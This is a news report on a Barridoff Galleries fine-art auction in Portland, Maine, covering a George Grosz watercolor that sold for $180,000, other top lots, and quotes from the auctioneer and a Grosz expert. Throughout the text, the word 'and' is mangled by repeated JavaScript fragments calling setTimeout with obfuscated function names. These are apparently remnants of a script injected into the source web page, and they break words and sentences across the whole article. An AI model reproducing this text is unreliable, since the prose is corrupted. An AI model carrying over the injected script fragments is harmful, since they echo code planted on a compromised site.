By: W..A. Demers

PORTLAND, MAINE — The October 23 auction of American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and European fine art at the Institute of Contemporary Art at Maine College of Art was a resounding success, according to Barridoff Galleries principals Annette andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Rob Elowitch. “With post-auction sales, we are now just slightly over $1 million in gross sales, including premium,” said Rob Elowitch. “The energy of the full house, the 300 online bidders andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the 100 phone bidders was electric. And we’re getting terrific calls for April 2014, thanks to the sale, especially the Grosz.”

Elowitch here was not referring to the sale’s gross, but to its top lot, a circa 1925 watercolor by German artist George Grosz (1893–1959) that was chased by bidders from all over the western world, including some of America’s most well-known collectors, before it surged well past its $75/125,000 presale estimate to finish at $180,000. Remaining unseen in a private collection for decades, the satirical society portrait will ultimately be available for public viewing. It will go to the Colby College Museum of Art as part of the Peter Lunder collection.

Peter H. Lunder andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Paula Crane Lunder, formerly of Waterville, Maine, have strong ties to Colby College andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and its museum. Peter Lunder graduated from Colby in 1956, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and both he andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mrs Lunder received honorary degrees from the college in 1998. “Lunder was the only buyer in the room andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and he was bidding against some giants,” said Elowitch. “I am thrilled beyond compare. This means so much to us.”

The 17-by-24-inch image titled “No. 73 Restaurant” depicts posh Berliners interacting at tables amid champagne andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wine. Grosz, especially known for his caricatures of Berlin life in the 1920s, was a prominent member of the Berlin Dada andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and New Objectivity group during the Weimar Republic before he emigrated to the United States in 1933.

The work came to the auction house from the family of its owner, a New York collector, deceased, who had purchased it from the artist in the 1950s. So it had sort of disappeared from sight until recently, when the man’s son consigned it to Barridoff. For Ralph Jentsch, a noted authority on work by Grosz, who assisted the gallery in tracing the work’s provenance, its reappearance was “a pleasant surprise to see this beautiful andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and important Grosz watercolor come to light.” In the auction catalog, Jentsch writes, “The place is crowded. Focus is on two tables with a couple at the right andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and two men with a girl on the left. The relationship between these people is not evident; however, the expression of the various faces tells us more. The gentleman on the right, eyes closed, seems to have made compliments to his companion that make her obviously slightly embarrassed, while at the other table all three seem to be having a good time.

“It would not be Grosz to have produced just an ordinary restaurant scene. A closer look reveals what is really going on. First of all the ugliness of the three men is evident, while the girls are charming. Then there is the disparity of age. Besides the hideous faces of the men at the other table, it is their lascivious grin, like lurking animals sure of their catch, that unmasks them, while the young lady still seems to be self-assured. What most likely has taken place is that these men, executives of a firm, have invited these two girls, their secretaries or some sort of employees of the firm, with the intention to seduce them, a classic example, how people of higher rank misuse their power, shamelessly taking advantage of people depending on them. Grosz has captured the repellent scene still with fine humor.”

Of the oil on canvas by Abbott Graves (American, 1859–1936), a colorful 24-by-20-inch scene titled “In the Garden,” showing a bonneted woman in a dark dress gathering flowers, Elowitch quipped, “Well, she wasn’t a pretty woman. If she had been, [the painting] would have brought more.” As it was, the second highest selling work in the sale achieved $57,600, a price with which, Elowitch added, he was “very satisfied,” as it came close to the high estimate. Property of the estate of Dorothy Clevelandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, Windham, Maine, it sold to a private collector on the phone.

Similarly, if only the Andrew Wyeth watercolor, a 17¾-by-21½-inch work titled “From Stone Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and,” had had a figure, human or animal, placed within an almost abstract depiction of a stony shore, Elowitch believed it could have brought more than the $57,500 it realized in a post-auction sale.

A private collector bid a scene by Anthony Thieme (American, 1888–1954) that was very evocative of this time of year in New Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and. “Wet Morning,” an oil on canvas view of villagers perhaps waiting for a school bus along a fence-lined neighborhood after an autumn rain, realized $36,000, a little above its high estimate. “This was a gorgeous painting,” said Elowitch. “We had tons of absentee bids on this one.”

“Terrific” is how Elowitch characterized a broodingly powerful seascape by Russian artist Ivan Choultse (1877–1932). The oil on canvas consigned by a Florida estate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and depicting crashing waves, a sunlit sea, clouds andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the arc of the French Riviera brought $33,600. Titled “Vue sur Monte Carlo” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and signed I.F. Choultse lower left, the work measured 26 by 32 inches. Choultse was a landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape painter, born in Petrograd, Russia. He studied painting with Constantin Krighitsky andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and became the court painter to Czar Nicholas II. After the Russian Revolution, he immigrated to Paris, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in 1923 began exhibiting at the Salon des Artistes Français.

Several portraits by American painter Walt Kuhn (1877–1949) were included in the sale, the top selling one titled “Cuban Girl,” an oil on canvas signed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dated Walt Kuhn, 1929 upper right. With a number of exhibitions listed in its provenance, including, most recently, “Walt Kuhn, American Master” at the Ogunquit Museum of Art in 1992, the work landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded at its top estimate of $30,000.

Going to a European gallery, a landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape by Carl Morgenstern (German, 1811–1893), “Wood andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Distant Fields,” an oil probably on paper mounted on board andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and measuring 11½ by 17 inches, finished at $15,600.

Rounding out the sale’s top ten lots, William Bradford’s (American, 1823–1892) “Iceberg off the Newfoundlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Coast,” oil on canvas, 16 by 24 inches, brought $38,400; an Orientalist scene by Frederick Arthur Bridgman (American, 1847–1928), “At the Fountain,” 1878, oil on canvas from a Maine collection, 10¼ by 14 inches, took $20,400; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Stephen Scott Young’s (American, b 1957) portrait of two black youths, “Quentin andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Andre,” 1985, watercolor, 17½ by 13 inches, garnered $15,600.

Prices reported include the buyer’s premium.

The firm’s next auction will be in April, date to be announced. For information, 207-772-5011 or  www.barridoff.com.